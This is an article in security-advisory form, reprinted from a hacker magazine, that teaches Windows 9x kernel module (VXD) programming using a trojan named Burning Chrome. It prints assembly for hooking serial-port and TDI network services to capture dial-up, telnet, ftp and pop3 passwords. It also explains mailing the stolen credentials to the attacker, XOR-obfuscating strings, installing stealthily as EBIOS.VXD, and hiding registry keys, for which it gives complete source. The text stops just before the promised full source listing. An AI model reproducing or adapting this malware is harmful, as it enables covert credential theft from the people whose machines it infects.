COMMAND

    LKM

SYSTEMS AFFECTED

    Windows 9x

PROBLEM

    'Solar Eclipse' found following.  This article explains the basics
    of Windows  9x kernel  modules development  and contains  the full
    source  of  a  loadable  kernel  module  (LKM)  that  performs the
    following functions:

        1) it   captures  TCP   connections  traffic   and    extracts
           telnet/pop3/ftp passwords
        2) it captures dial-up  connections traffic (by capturing  the
           raw  data  from  the  serial  port)  and  extracts  dial-up
           passwords
        3) by accessing the TCP stack directly (bypassing the  Winsock
           interface),  it  emails  all  the  collected authentication
           information to an evil script kiddie sitting in a  basement
           full of stolen hardware
        4) it is virtually undetectable with any standard Windows tools
        5) it is written entirely in assembly and the executable  file
           size is only 7KB

    This  was  first  published  in  Phreedom  Magazine  - a Bulgarian
    h/c/p/a digest.  Check it out at

        http://www.phreedom.org

    Let's assume that you have a basic knowledge of Win32 programming,
    x86  protected   mode  architecture,   32-bit  assembly   language
    programming,    SoftIce    and     basic    Internet     protocols
    (telnet/pop3/ftp/smtp).

    Windows 9x Internals
    ====================
    Windows 9x  has two  separate layers  of code:  DLL layer  and VXD
    layer.

    1) DLL Layer
    The DLL layer consists  of all system DLLs.   It runs as a  Ring 3
    code.  All the API  functions that Windows programs normally  call
    are implemented  in the  DLL layer  (in KERNEL32.DLL,  USER32.DLL,
    GDI32.DLL and other DLLs).   Many of the DLLs call  VXD functions.
    Some of the API functionality  is implemented entirely in the  VXD
    layer and the DLL  functions act only as  gates (this is the  case
    with the registry access  functions).  Calling DLL  functions from
    the VXD  layer is  impossible and  this makes  most of the Windows
    API  inaccessible  to  kernel  modules.   We  will not discuss the
    system DLLs any more, because they are not used for Windows kernel
    hacking.

    2) VXD Layer
    The general  term VXD  stands for  Virtual Device  Driver, the "x"
    being  a  placeholder  for  device  names.   For example, VKD is a
    Virtual Keyboard  Driver, VDD  is a  Virtual Display  Driver, etc.
    The VXD layer  is the core  of the Windows  OS.  It  is similar to
    the Linux  kernel and  the functions  it provides,  although it is
    not  nearly  as  well  documented.   The  VXD  code handles memory
    management, task  switching, low-level  hardware access  and other
    similar tasks.   The core  OS services,  such as  registry access,
    networking and file access are also implemented in the VXD layer.

    All  VXDs  run  in  Ring  0  and  have  full access to the system.
    Hacking the Windows kernel is possible by writing an VXD.

    The Windows Driver Development Kit (DDK) is used for writing VXDs.
    Most programmers shiver  when somebody mentions  'device drivers',
    but but the VXDs can be used for many other purposes.  Let's quote
    Andrew  Schulman,  the  author  of  "Unauthorized  Windows95.    A
    Developer's Guide to Exploring the Foundations of Windows 95":

       "...Seen from this perspective, the names Virtual Device Driver
       and  Device  Driver  Kit  are  unfortunate.  They automatically
       turn off most Windows developers, who quite sensibly feel  that
       device-driver writing is  an area they  would rather stay  away
       from.   More  appropriate  names  would  have  been  "TSRs  for
       Windows" or "Please Hack Our Operating System".  As it is,  the
       names VXD and DDK alienate many programmers who would otherwise
       jump at this stuff.

       ...Admittedly, very few Windows programmers will be using  VXDs
       to write hardware interrupt handlers or device drivers.  But  a
       short time spent with the DDK should convince you that  there's
       a ton  of documented  functionality available  to VXDs  that is
       otherwise  difficult  or  impossible  to  get  under   Windows.
       Whenever a  programmer says  that something  is "impossible" in
       Windows, I  suspect the  correct reply  will be  "No it  isn't.
       Write a VXD"   Just as TSRs allowed  DOS programmers to do  the
       otherwise-impossible  in  the  1980s,  VXDs  are  going  to let
       Windows programmers go anywhere and do anything in what's  left
       of the 1990s."

    Unfortunately (or maybe fortunately) writing VXDs for Windows  has
    not  become  as  common  as   writing  TSRs  for  DOS  was.    The
    possibilities that the Virtual  Device Drivers offer are  big, but
    writing one is not an easy task.

    Your First VXD
    ==============
    VXDs are usually written with the Windows98 DDK, which includes  a
    copy of the Microsoft Macro  Assembler (MASM).  It is  possible to
    use C for VXD development,  but using assembly is definitely  more
    fun.   Other   tools,  such   as  NuMega   DriverWorks  make   the
    programmer's job easier, but for this example we will use only the
    Win98 DDK.  The DDK is available for free download on  Microsoft's
    web site.  Even if they take it down, you will be able to find  it
    on some old copy of the MSDN or on the net.

    Having a copy of  the Windows NT4 DDK,  Windows 2000 DDK and  even
    the Windows  3.11 DDK  will also  be nice.   Many interesting  VXD
    features are poorly documented or not documented at all.  Although
    the Windows  98 DDK  will be  your primary  source of information,
    sometimes you will  find the information  you need in  some of the
    other kits.   The Windows  3.11 DDK  is useful,  because there are
    a lots  of similarities  in the  internal architecture  of Windows
    3.11  and  Windows  95.  (Contrary  to the Microsoft hype, Windows
    3.11 was closer to Windows 95 than to Windows 3.1.  Basically  the
    only major change between 3.11 and 95 was the GUI).

    The VXDs are LE  executables.  You need  a special linker to  link
    them (included in  the DDK).   The following source  is a template
    for a very basic VXD. It's  just an example for a module  that can
    be successfully loaded by the system.

        ; EXAMPLE.ASM
        
        ; VXDs use 386 protected mode
        
        .386p
        
        ; Many system VXDs export services, just like the system DLLs in Windows.
        ; We can use these services for memory allocations, registry and file
        ; access, etc.
        ; All we need to do is include the appropriate include file. There are
        ; many INC files for the system VXDs that come with the DDK.
        ; VMM.INC is the only required include file. It contains the declarations
        ; for many important services exported by VMM32.VXD, as well as many
        ; macros that are used for VXD programming.
        
        INCLUDE VMM.INC
        ; All VXDs need a Driver Declaration Block (DDB), that stores information
        ; about its name, version, control procedure, device ID, init order, etc.
        ; To build this DDB use the Declare_Virtual_Device macro with the following
        ; parameters:
        ;   - VXD name (needs not be the same as the file name)
        ;   - Major version
        ;   - Minor version
        ;   - Control procedure (similar to WndProc in normal Windows programs. This
        ;     procedure receives all the system messages and processes them
        ;   - Device ID - used only for VXDs that export services. Arbitrary values
        ;     might work as long as they don’t conflict with the official Device IDs
        ;     assigned by Microsoft
        ;   - Init order - 32 bit integer, determines the order in which the VXDs
        ;     are loaded. If you want your VXD to be loaded after some other VXD,
        ;     use a value greater than the other VXD's init order
        
        Declare_Virtual_Device EXAMPLE, 1, 0, Control_Proc, Undefined_Device_ID, \
        Undefined_Init_Order, , ,
        
        ; This macros declares the data segment
        
        VxD_DATA_SEG
        
        SomeData        dd 0    ; Just some data
        
        VxD_DATA_ENDS
        
        ; Code segment
        
        VxD_CODE_SEG
        
        BeginProc      SomeProcedure
        
                push eax
                mov eax, 1
                pop eax
        
                ret
        
        EndProc        SomeProcedure
        
        VxD_CODE_ENDS
        
        ;Locked code segment - will be explained later
        
        VxD_LOCKED_CODE_SEG
        
        ; This is the control procedure. It should use Control_Dispatch macros for
        ; handling the messages. This macro takes 2 parameters - message_code and
        ; handler address. You can find a list of all the messages in the DDK
        ; documentation.
        ; This example only handles the Device_Init message and calls the
        ; Do_Device_Init function.
        
        BeginProc       Control_Proc
                Control_Dispatch Device_Init, Do_Device_Init
                clc
                ret
        EndProc         Control_Proc
        
        VxD_LOCKED_CODE_ENDS
        
        ; Init code segment
        
        VxD_ICODE_SEG
        
        ; This procedure is called after the VXD is loaded. Put the initialization
        ; code in it.
        
        BeginProc       Do_Device_Init
        
        ; Put some init code here...
        
                ret
        EndProc         Do_Device_Init
        
        VxD_ICODE_ENDS
        
        ; End of EXAMPLE.ASM
        
                END

    There are 7 different types of segments that your VXD can use.
    1) VxD_DATA_SEG and VxD_CODE_SEG - for pageable code and data
    2) VxD_LOCKED_DATA_SEG  i  VxD_LOCKED_CODE_SEG  -  this   segments
       contain  non-pageable  code  and  data.  Control_Proc  and  the
       interrupt  handlers  should  be  in  VxD_LOCED_CODE_SEG.  Solar
       Eclipse (SE)  was not  quite sure  about the  rest of the code.
       The Windows DDK documentation is not very clear about that.  If
       your VXD  is small,  you might  want to  use only  non-pageable
       memory, just to be safe.
    3) VxD_ICODE_SEG i VxD_IDATA_SEG  - initialization code and  data.
       These  segments  are  discarded  after  the  initialization  is
       finished.   This  is  a  good  place  for  the   Do_Device_Init
       procedure.
    4) VxD_REAL_INIT_SEG  - The  code in  this segment  is executed by
       Windows  before  the  processor  switches  to  protected  mode.
       Unless you are writing a  REAL device driver, it's pretty  much
       useless.

    To compile the example VXD you  will also need a .DEF file.   This
    is EXAMPLE.DEF:

        LIBRARY  EXAMPLE
        
        DESCRIPTION 'VxD Example by Solar Eclipse'
        
        EXETYPE  DEV386
        
        SEGMENTS
               _LTEXT PRELOAD NONDISCARDABLE
               _LDATA PRELOAD NONDISCARDABLE
               _ITEXT CLASS 'ICODE' DISCARDABLE
               _IDATA CLASS 'ICODE' DISCARDABLE
               _TEXT  CLASS 'PCODE' NONDISCARDABLE
               _DATA  CLASS 'PCODE' NONDISCARDABLE
        
        EXPORTS
               EXAMPLE_DDB  @1

    If your DDK is set up  correctly, and all the shell variables  are
    initialized (read the  DDK docs for  that), you should  be able to
    compile  EXAMPLE.VXD  with  the  following  commands (no Makefile,
    sorry).  You can compile a DEBUG version with this:

        set ML=-coff -DBLD_COFF  -DIS_32 -nologo -W3 -Zd -c -Cx -DWIN40COMPAT -DMASM6 -DINITLOG -DDEBLEVEL=0 -Fl
        ml example.asm

    NO_DEBUG version:

        set ML=-coff -DBLD_COFF  -DIS_32 -nologo -W3 -Zd -c -Cx -DWIN40COMPAT -DMASM6 -DINITLOG -DDEBLEVEL=1 -DDEBUG -Fl
        ml example.asm

    Then link it:

        link example.obj /vxd /def:example.def

    Put  the  file  EXAMPLE.VXD  in  C:\WINDOWS\SYSTEM  and  add   the
    following to the [386Enh] section of SYSTEM.INI

        device=example.vxd

    After the system is rebooted, the  VXD will be loaded.  Of  course
    it won't do much, but you can see it in the VXD list with SoftIce.

    The VXDs  allow you  to access  most of  the core Windows services
    directly and this gives you some interesting possibilities.  Let's
    explore the features implemented in CHROME.ASM.

    I. Capturing dial-up passwords
    ==============================
    Almost  all  dial-up  connections  are  initiated  through a modem
    attached to a serial port, using  the PPP protocol.  The two  most
    common ways of authentication are via PAP (Password Authentication
    Protocol) or via a login prompt.   To get these passwords we  need
    to capture the traffic passing through the serial port.

    The Hook_Device_Service system call allows us to hook the services
    exported by the  VXDs.  VCOMM.VXD  exports three services  that we
    need  to  hook.  These  are  VCOMM_OpenComm,  VCOMM_WriteComm  and
    VCOMM_CloseComm.  The following code hooks the services:

        ; Hook VCOMM services
        
        GetVxDServiceOrdinal eax, _VCOMM_OpenComm
        mov esi, offset32 OpenComm_Hook
        VMMcall Hook_Device_Service
        jc Abort
        
        GetVxDServiceOrdinal eax, _VCOMM_WriteComm
        mov esi, offset32 WriteComm_Hook
        VMMcall Hook_Device_Service
        jc Abort
        
        GetVxDServiceOrdinal eax, _VCOMM_CloseComm
        mov esi, offset32 CloseComm_Hook
        VMMcall Hook_Device_Service
        jc Abort

    OpenComm_Hook, WriteComm_Hook and CloseComm_Hook are the names  of
    the new service handlers.

    One of  the OpenComm  parameters is  the name  of the device being
    opened. When  a dial-up  connection is  established, Windows opens
    COM1, COM2, COM3  or COM4 and  sends the AT  modem commands.   Our
    OpenComm procedure checks  the device name  and sets a  flag if it
    is a  COM port.   All the  subsequent WriteComm  calls are logged,
    until the connection is closed.

    If the flag is set, the WriteComm procedure saves all the data  to
    a buffer.  When the buffer gets full, the data in it is  processed
    and saved to the registry.

    The main goal of the log processing routines is to make sure  that
    no username/password combination is  emailed twice - getting  your
    mailbox flooded by a misbehaving  trojan horse is not good.   This
    requires the usernames and the passwords to be saved and each  new
    connection to be checked against the old sessions.  The best place
    for storing such information is the registry.  Reading and writing
    to the registry is much easier than storing the data in a file  on
    the hard disk.  The chance of the user noticing a few new  entries
    in the registry is also very slim.

    For  each  session,  four  things  need  to  be  saved:  username,
    password, phone number or IP address of the remote end and the log
    itself.  Before the session  is saved, the username, password  and
    the phone number  are extracted from  the log and  compared to the
    existing  values  in  the  registry.   If  a session with the same
    values exists, the new session is not saved.

    CHROME.ASM combines the username,  password and phone number  into
    a single string.  Then it saves the session to the registry  using
    this string  as the  key name  and the  log as  the key value. The
    string  acts  as  a  hash  of  the  log.  When a new connection is
    captured, its hash string is generated and the VXD checks if a key
    with the same hash exists.  It  does this by trying to open a  key
    with the  same name  as the  hash string.   If the RegQueryValueEx
    call fails, the new connection is saved.

                ; The following code is taken from the Send_Common procedure
        
                ; ValueName is pointer to the beginning of the hash string.
                ; pBuffer is a pointer to the log
                ; RegQueryValueEx expects a pointer to a pointer, so dwTemp_1 is used
                ; for passing a pointer to a NULL pointer
        
        Get_Reg_Value:
                ; Try to get the value with the same name
        
                xor ebx, ebx
                mov dwTemp_1, ebx
                push offset32 dwTemp_1          ; cbData
                push ebx                        ; lpszData
                push ebx                        ; fdwType
                push ebx                        ; dwReserved
                push ValueName                  ; lpszValueName
                push hOurKey                    ; phKey
        
                VMMCall _RegQueryValueEx        ; Get the value of the key
                add esp, 18h
        
                cmp eax, ERROR_FILE_NOT_FOUND   ; If key exists
                jne Send_Common_Abort
        
                ; Save the result in the registry
        
                push BufferSize                 ; cbData
                push pBuffer                    ; lpszData
                push REG_SZ                     ; fdwType
                push 0                          ; dwReserved
                push ValueName                  ; lpszValueName
                push hOurKey                    ; phKey
        
                VMMCall _RegSetValueEx          ; Set the value of the key
                add esp, 18h

    When the  user ftp's  to a  server his  connection is  logged.  If
    later  he  decides  to  telnet  to  the  same server with the save
    username and password,  the telnet connection  will not be  saved,
    because the hash string will be  the same.  To avoid this  we will
    include an connection  type identifier in  the hash string.   This
    identifier is  a single  letter put  in the  beginning of the hash
    string:

        TraceLetters            equ $  ; Table with letters for each different
        NOTHING                 db 'N' ; type of trace. Indexed with TraceType
        MODEM                   db 'M'
        TELNET                  db 'T'
        FTP                     db 'F'
        POP3                    db 'P'

    The  buffer  processing  functions  for  the  dial-up  and the TCP
    connections are  very similar.   They only  differ in  the way the
    hash  string  is  extracted  from  the  log.   The  common  buffer
    processing is done by the Send_Common function.  It saves the  new
    data in the  buffer and checks  if it is  full.  Usually  we don't
    need  to  capture  more  than  the  first hundred bytes to get the
    username and password.  If the  buffer is full, the log should  be
    processed.  The TraceType variable contains the connection type  -
    modem, telnet,  ftp or  pop3.   Send_Common calls  the appropriate
    log processing function - in  the case of a dial-up  connection it
    calls  ModemLog.  The  log  processing  functions  extract  a hash
    string from the buffer and returns it to Send_Common.

    ModemLog checks the captured data for an ATD command. If does  not
    find it, an error flag is set  and the data is not saved into  the
    registry.  Else  the phone number  is extracted and  copied as the
    first part of the hash string.

    If the first transferred byte after  the phone number is a '~'  we
    are  dealing  with  a  PPP  connection.  During the PPP connection
    establishment authentication  information can  be exchanged.   The
    most commonly used protocol is called PAP (Password Authentication
    Protocol).  CHAP  (Challenge  Authentication  Protocol)  is   also
    popular,  but  it  does  not  send  the  password in cleartext and
    therefor  can  not  be  captured  by  the  VXD.  You can find more
    information on PAP in RFC1172: The Point-to-Point Protocol Initial
    Configuration Options. The PPP protocol is described in RFC1331.

    The  PAP  authentication  information  is  transmitted using a PPP
    packet with a PAP sub-packet type. The structure of the PAP packet
    is shown in the following table:

        | 7E | C0 23 | 01 | xx | xx xx |  ULen  | U S E R |  PLen  | P A S S |
        |    |       |    |    |       |        |         |        |         |
        |PPP |  PAP  |code| id |length |user len|username |pass len|password |

    All PAP packets  start with 7E  C0 23. If  the packet is  carrying
    authentication information the  PAP code is  01.  We  need to scan
    the captured PPP  session for the  7E C0 23  01 byte sequence  and
    copy the username and the password to hash string.

    If the first character after the  phone number is not '~', we  are
    dealing  with  a  login  prompt  configuration.   Usually the user
    enters  a  username,  presses  Enter,  then  enters  the password,
    presses Enter again and the PPP connection is established.  As  we
    already know, the first byte of the PPP handshake sequence is '~'.
    If we copy all  the data before the  '~' to the hash  string we'll
    surely get the username and the password.

    II. Capturing TCP connections
    =============================
    Everybody  reading  this  is  probably  familiar  with the Winsock
    interface.   What  most  of  you  don't  know  is that most of the
    Winsock functions are implemented in the Transport Data  Interface
    (TDI).   This  is  a  kernel  mode  interface  for network access,
    supporting different  network protocols.   WINSOCK.DLL is  just  a
    convenient way for the  Windows applications to use  this interace
    without calling the VTDI.VXD services directly.

    Among others the TDI interface provides the functions  TdiConnect,
    TdiDisconnect  and  TdiSend.   They  correspond  directly  to  the
    Winsock functions connect(), disconnect()  and send(). We need  to
    hook these functions and intercept the data being sent.  There  is
    no  documented  way  for  hooking  these  functions,  but it's not
    impossible.  The  VTDI_Get_Info system call  returns a pointer  to
    the  TdiDispatchTable,  which  contains  pointers  to  all the TDI
    functions.  The applications that use TDI are supposed to get  the
    addresses from this table and call the TDI functions directly.  If
    we get the address of this table and replace the addresses of  the
    TDI functions with the addresses  of our hooks, all the  TDI calls
    will get routed to us.  Our  code runs in Ring 0 and we  have full
    access to the memory and can  change whatever we want.  Of  course
    we need to save the addresses  of the old handlers so that  we can
    call them later.  Sounds just like hooking DOS interrupt handlers,
    doesn't it?

    Here is the code for hooking the TDI functions:

        ; Make sure VTDI is present
        
        VxDcall VTDI_Get_Version
        jc Abort
        
        ; Get a pointer to the TCP dispatch table
        
        push offset32 TCPName
        VxDcall VTDI_Get_Info
        add esp, 4
        
        mov TdiDispatchTable, eax       ; Save the address of TdiDispatchTable
        
        ; Hook TdiCloseConnection, TdiConnect, TdiDisconnect and TdiSend
        
        mov ebx, [eax+0Ch]
        mov TdiCloseConnection_PrevAddr, ebx
        mov [eax+0Ch], offset32 TdiCloseConnection_Hook
        
        mov ebx, [eax+18h]
        mov TdiConnect_PrevAddr, ebx
        mov [eax+18h], offset32 TdiConnect_Hook
        
        mov ebx, [eax+1Ch]
        mov TdiDisconnect_PrevAddr, ebx
        mov [eax+1Ch], offset32 TdiDisconnect_Hook
        
        mov ebx, [eax+2Ch]
        mov TdiSend_PrevAddr, ebx
        mov [eax+2Ch], offset32 TdiSend_Hook

    The TDI documentation  in the Windows  DDK is incomplete  and very
    confusing,  but  it's  the  only  available source of information.
    TdiConnect  is  passed  a  pointer  to a RequestAddress structure,
    which  contains  a  pointer  to  a  RemoteAddress structure, which
    contains the IP  address and the  port number.   After making sure
    that the RequestAddress  is of type  IPv4, our TdiConnect  handler
    checks the destination  port number.   If it is  21, 23 or  110 we
    need to  capture this  connection.   We need  to set the TraceType
    flag  and  save   the  connection  handle.    Unfortunately   this
    connection  handle  is  not  returned  directly  by  the  original
    TdiConnect function.   One of its  parameters is the  address of a
    callback function which  is to be  called after the  connection is
    established (or when an error occurs).  We will save the  supplied
    address of the callback function  and replace it with the  address
    of TdiConnect_Callback function in the VXD.  This function  checks
    the  connection  status.    If  the  connection  is   successfully
    established,  the  connection  handle   is  saved.  If  not,   the
    TraceType flag is  unset.  After  that the real  callback function
    is called.

    TdiSend is very  similar to WriteComm.   It checks the  connection
    handle and  if it  matches the  connection that  we are  currently
    tracing TdiSend calls  SendCommon.  From  there on the  process is
    exactly the same as described above.

    If we are  tracing a pop3  session, SendCommon calls  Pop3Log as a
    log processing function.  Pop3Log  converts the IP address of  the
    server to  a hex  string and  saves it  as the  first part  of the
    hash.   This  makes   sure  that  two   accounts  with  the   same
    username/password  on  different  servers  will  not get confused.
    Then the  log is  scanned for  the USER  and PASS  commands.   The
    username and password are extracted and stored in the hash string.

                mov esi, pBuffer
                mov ecx, BufferSize
                mov ebx, ecx
        
                mov eax, 'RESU'                 ; Search for USER
        
        USER_or_PASS_Loop:
                cmp dword ptr [esi], eax        ; Search for USER or PASS (in eax)
                je USER_or_PASS_Copy_Loop_Start
        
                inc esi
                dec ecx
                jz Pop3Log_Abort
                jmp USER_or_PASS_Loop
        
        USER_or_PASS_Copy_Loop_Start:
                add esi, 5                      ; Skip 'USER' and 'PASS'
        
        USER_or_PASS_Copy_Loop:
                cmp byte ptr [esi], 0Dh         ; Is <CR> here?
                jne Copy_USER_or_PASS
        
                cmp al, 'P'                     ; Is this a PASS copy?
                je Pop3Log_End                  ; Work done, finish log processing
        
                mov ax, 0A0Dh                   ; Save a <CR> between username & pass
                stosw
        
                mov eax, 'SSAP'
                jmp USER_or_PASS_Loop
        
        Copy_USER_or_PASS:
                movsb
                dec ecx
                jz Pop3Log_Abort
                jmp USER_or_PASS_Copy_Loop

    This  code  is  shown  here  only  as  a prove that programming in
    assembly  is  a  very  brain  damaging  activity.   After spending
    several years  doing assembly  language programming,  you'll never
    programmer the same way as before, even in a high level  language.
    Whether this is good or bad is a different question.

    The FTP protocol is very similar to the POP3 protocol. In fact the
    authentication commands  (USER &  PASS) are  exactly the  same and
    FtpLog can simply call Pop3Log.  We don't want to capture all  the
    anonymous  ftp  connections  and  that's  why  FtpLog  checks  the
    username.  If it is 'anonymous', the connection trace is aborted.

    All telnet logs are processed by the TelnetLog function.  It is  a
    little bit more complicated  because the Telnet client  negotiates
    the terminal options with the server before it lets the user  type
    his   username   and   password.      The   algorithm   for    the
    username/password extraction is as follows:

        DATA: terminal options | 0 | username | CR | password | CR | more data

    1) find the first CR
    2] find the second CR
    3) save the second CR position
    4) search for the 0 (going back from the second CR)
    5) stop when 0 is found or the beginning of the buffer is reached
    6) copy everything from  the current position (starting  after the
       \0 or at the  beginning of the buffer)  to the position of  the
       second CR

    While writing this article SE went through his code once again and
    found the following comment:

        ; If NULL is found, edi points to the byte before it and we need to do
        ; inc edi twice. Else, edi would point to the first char in the buffer
        ; and we don't need to inc it.
        ; That's why we have done 'inc ecx' twice a couple of lines before.
        ; This way, if NULL is not found, edi points to the first-2 char
        ; and we can (and must) do inc edi two times.
        
        inc edi
        inc edi

    This shows that writing code at 3am is not very healthy.

    III. Emailing the captured passwords
    ====================================
    Sending  the  captured  passwords  back  to  the  hacker  is  very
    important.  The mailing function needs to be robust, otherwise all
    the password capturing code is useless.

    The mailing  function needs  to be  called only  when an  Internet
    connection is present.   We could use our  COM port hook and  find
    out when a PPP connection  is established, but this wouldn't  work
    for machines with Ethernet connections.  The simplest thing do  is
    to  make  our  TdiConnect  handler  call  the  Sendmail   function
    everytime an outgoing connection on port 80 is detected.  In  this
    day and age, everybody uses the Web.  A connection to a web server
    is a clear indication that an Internet connection is also present.
    If this  is not  the case  (the user  might be  using a  local web
    server or an Intranet without external connectivity) the  Sendmail
    function will fail connecting and retry again the next time.

    When new data is saved to the registry, a flag is set.  The letter
    'P' is saved as the default value of the registry key.  This  flag
    is  later  checked  by  the  mailing  function  and  the  captured
    passwords are emailed if it is  set.  After the email is  sent the
    default value is deleted from the registry.  This way an email  is
    sent only when there is a  new password. It is better to  send all
    the passwords  every single  time than  to send  only the new one.
    This way if one email is lost, there is still a chance of  getting
    the lost password the next time.

    Sendmail uses TDI  to connect to  a mail server  and send all  the
    captured passwords and logs.  Before a connection is  established,
    a message buffer is allocated from the heap.  This buffer is  used
    for  constructing  the  sequence  of  SMTP commands and email data
    before sending  it to  the mailserver.   First some  SMTP commands
    are copied to the buffer:

        HELO localhost
        MAIL FROM:<xxx@xxx.com>
        RCPT TO:<xxx@xxx.com>
        DATA

    Then the email message is constructed.  The subject of the message
    is set to the RegisteredOwner value from

        HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion

    The first 3 lines from the message contain RegisteredOrganization,
    SystemRoot and VersionNumber - for statistical purposes only.

    As you already know, our logs  are stored as values in a  registry
    key.   The Sendmail  function enumerates  these values  and copies
    them to the mail buffer.  The email text is finished with '.'  and
    the QUIT command is put into the buffer.

    Opening a  TDI connection  and sending  the contents  of the  mail
    buffer is  pain in  the ass.  We need  to open  an address  object
    (TdiOpenAddress),  save  the  returned  address  handle,  open   a
    connection  object   (TdiOpenConnection),  save   the   connection
    context, associate the connection context with the address  handle
    (TdiAssociateAddress) and then finally call TdiConnect.  Of course
    the documentation does not mention any of these steps or the order
    in  which  they  have  to  be  performed.   Figuring this out with
    SoftIce is not fun.

    Most TDI functions are asynchronous and call the  TdiMail_Callback
    function   on   completion.     TdiConnect   is   no    exception.
    TdiMail_Callback checks the  error code and  if the connection  is
    established correctly it  sends the contents  of the mail  buffer.
    Sending all  the commands  with one  write is  not allowed  by the
    SMTP protocol,  but it  works with  most mail  servers.  After the
    sending the  TdiMail_Callback is  called again,  this time because
    the send was completed.  The connection is then closed by  calling
    TdiDisconnect and TdiCloseAddress.

    The default value  of our reg  key is deleted,  thus unsetting the
    flag.  The next time Sendmail is called it will not send anything,
    unless a new password was captured.

        ; Delete the default value (send is done)
        
        xor eax, eax
        push eax                        ; cbData
        push offset32 Zero              ; lpszData
        push REG_SZ                     ; fdwType
        push eax                        ; lpSubKey
        push hOurKey
        
        VMMCall _RegSetValue
        add esp, 14h

    IV. Misc
    ========
    All the ASCII data in CHROME.VXD  is XOR-ed with 42.  This  is not
    a storing encryption scheme, but  it will fool a less  experienced
    observer.

                mov edi, ASCIIStart
                mov ecx, ASCIILength
        
        Decode_Loop:                            ; Why 42...? :-)
                xor byte ptr [edi], 42
                inc edi
                loop Decode_Loop

    The installation process of Burning Chrome is really  interesting.
    The standard  installation approach  for VXDs  is to  copy them to
    C:\WINDOWS\SYSTEM and add the appropriate entry in the registry or
    in the SYSTEM.INI file.   Modifying the registry or INI  files can
    be easily detected and should be avoided.

    The core Windows  VXDs are compressed  into a single  file, called
    VMM32.VXD.  This is not a normal VXD file.  When the system  loads
    it during the  boot process, all  the files that  are contained in
    it are extracted  and loaded as  kernel modules.   The file format
    of the VMM32.VXD is documented and it is possible to add VXD files
    to it.   Unfortunately, registry  entries are  still required  for
    these files and  we can not  force the system  to load our  module
    without  modifying  the  registry.   The   C:\WINDOWS\SYSTEM\VMM32
    folder  has  a  special  function.   Every  time  a  VXD  from the
    VMM32.VXD collection is loaded, Windows checks if a file with  the
    same name exists in this directory.   If it finds a file with  the
    same name, it is loaded instead of the VXD in VMM32.VXD.

    Suppose  that  a  AAA.VXD  is  in  VMM32.VXD.   If we name our VXD
    AAA.VXD and put it  in C:\WINDOWS\SYSTEM\VMM32, then Windows  will
    load our module instead of the original VXD.

    The only problem is  that we need a  VXD that is in  VMM32.VXD and
    is loaded by default, but  not necessary needed.  The  perfect VXD
    is EBIOS.VXD. EBIOS  is a failed  BIOS extention standard  by IBM.
    Most  modern  computers  use  Award/Phoenix/AMI  BIOSes and do not
    support EBIOS.  The lack of this VXD will not be fatal.

    All  we  have  to  do  is  name  our  VXD EBIOS.VXD and copy it to
    C:\WINDOWS\SYSTEM\VMM32.   We don't  need to  modify any  existing
    system files.  Most anti-virus  programs will alert the user  if a
    program is trying to write  to SYSTEM.INI or modify system  files,
    but they will happily let us copy a file.

    IV. Known Bugs
    ==============
    There are many bugs in this code.   Here is the list of the  known
    bugs:
    1) Sometimes the  Sendmail function fails  to send the  email.  It
       should be  redesigned to  comply to  the RFC  - send a command,
       wait for a reply, send the next command, wait for a reply, etc.
    2) Anonymous FTP sessions are logged, although they should not be.
       Don't no why.
    3) The TelnetLog function includes some Telnet options in the hash
       string.

    Here is a list of improvements that can be added to the code.
    1) Add encryption to the email  messages.  Even a simple XOR  will
       be better than sending everything in cleartext.
    2) Capture   HTTP  form   submissions  and   look  for     webmail
       passwords/credit card numbers/etc.
    3) Hide  the registry  key that  we use  to store  our data.   The
       RegEnumKey  function  returns  the  names  of  the subkeys of a
       given key.  We can hook  it and check the name of  the returned
       key.  If it  matches the key name  that we want to  hide, we'll
       return an error.

    Here is some simple code for doing this (hidearg.asm):

        .386p
        
        INCLUDE VMM.INC
        INCLUDE VMMREG.INC
        
        Declare_Virtual_Device HIDEREG, 1, 0, Control_Proc, Undefined_Device_ID, \
        Undefined_Init_Order, , ,
        
        VxD_LOCKED_DATA_SEG
        
        pRegEnumKey_PrevHook           dd 0
        
        VxD_LOCKED_DATA_ENDS
        
        VxD_LOCKED_CODE_SEG
        
        BeginProc RegEnumKey_Hook, HOOK_PROC, pRegEnumKey_PrevHook, LOCKED
        
                push ebp                        ; C rulez!
                mov ebp, esp
        
        ; ebp+00h -> saved ebp
        ; ebp+04h -> return address
        ; ebp+08h -> hKey
        ; ebp+0Ch -> iSubKey
        ; ebp+10h -> lpszName
        ; ebp+14h -> cchName
        
                pushad
                pushfd
        
                int 3
        
                push [ebp+14h]                  ; Push cchName
                push [ebp+10h]                  ; Push lpszName
                push [ebp+0Ch]                  ; Push iSubKey
                push [ebp+08h]                  ; Push hKey
                call [pRegEnumKey_PrevHook]     ; Call the old handler
        
                add esp, 10h                    ; C really rulez!
        
                mov [ebp-04h], eax              ; blah...
        
                mov edi, [ebp+10h]
        
                cmp dword ptr [edi], 'xzzy'     ; Is this "hidden" key ?
                jne RegEnumKey_Hook_End
        
                mov dword ptr [ebp-04h], ERROR_NO_MORE_ITEMS ; Dirty, but works
        
                mov byte ptr [edi], 0
        
        RegEnumKey_Hook_End:
                popfd
                popad
        
                pop ebp
        
                ret
        
        EndProc RegEnumKey_Hook
        
        
        BeginProc       Control_Proc
                Control_Dispatch Device_Init, Do_Device_Init
                clc
                ret
        EndProc         Control_Proc
        
        VxD_LOCKED_CODE_ENDS
        
        VxD_ICODE_SEG
        
        BeginProc       Do_Device_Init
        
                GetVxDServiceOrdinal eax, _RegEnumKey
                mov esi, offset32 RegEnumKey_Hook
                VMMcall Hook_Device_Service
        
                ret
        EndProc         Do_Device_Init
        
        VxD_ICODE_ENDS
        
        ; End of HIDEREG.ASM
        
                END

    Functions List
    ===============
    This is a list  of all the functions  in CHROME.ASM and what  they
    do.

          VCOMM Hooking
        
        OpenComm_Hook           Start modem log
        WriteComm_Hook          Log modem data
        CloseComm_Hook          End modem log
        
          TDI Hooking
        
        TdiConnect_Hook         Start TCP log
        TdiConnect_Callback     Helper for TdiConnect_Hook
        TdiSend_Hook            Log TCP data
        TdiDisconnect_Hook      End TCP log
        TdiCloseConnection_Hook End TCP log
        
          General logging
        
        Send_Common             Common code for logs
        ModemLog                Processes modem logs
        TelnetLog               Processes telnet logs
        FtpLog                  Processes ftp logs
        Pop3Log                 Processes pop3 logs
        DWordToStr              aka IP2HexStr
        
          Mailing
        
        Sendmail                Sendmail
        TdiMail_Callback        Helper for Sendmail
        QueryRegValue           Gets registry data

    Finally, our Mr. code:

